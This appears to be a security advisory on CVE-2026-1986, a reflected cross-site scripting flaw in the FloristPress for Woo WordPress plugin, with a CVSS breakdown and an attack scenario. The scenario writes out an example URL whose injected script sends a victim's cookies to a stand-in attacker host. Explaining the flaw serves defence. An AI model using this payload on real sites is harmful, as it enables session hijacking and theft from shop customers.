Floristpress For Woo Customize Your Ecommerce Store For Your Florist CVE-2026-1986

The CVSS 3.1 score of 6.1 (Medium) reflects moderate risk with the vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N indicating network accessibility, low attack complexity, no privilege requirements, but mandatory user interaction. The scope change (S:C) is notable as it affects resources beyond the vulnerable component. However, this vulnerability carries real-world risk for eCommerce sites: florist shops using this plugin expose customers to session hijacking, credential theft, and malware distribution through reflected XSS. The requirement for user interaction (clicking a malicious link) reduces the attack surface compared to stored XSS but does not eliminate risk-phishing campaigns targeting florist shop customers are entirely plausible. Without confirmed EPSS score, KEV listing, or public exploit code in the provided data, the practical exploitability appears moderate; however, the simplicity of XSS exploitation and the plugin's WordPress ecosystem visibility suggest opportunistic attackers would quickly weaponize this if not patched. WordPress plugin users are typically slower to update than enterprise software consumers, extending the exploitation window.

An attacker constructs a URL such as https://targetfloristshop.com/?noresults=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> and distributes it via phishing email to customers, claiming a promotional offer or account verification. When a victim clicks the link, the injected script executes in their browser with the privileges of their session, stealing session cookies or triggering a redirect to a credential harvesting page. Because the attack vector is network-based and requires no special complexity or privileges, and the user interaction requirement is minimal (a single click on what appears to be a legitimate florist shop link), this scenario is realistically achievable and could affect multiple customers of affected FloristPress deployments.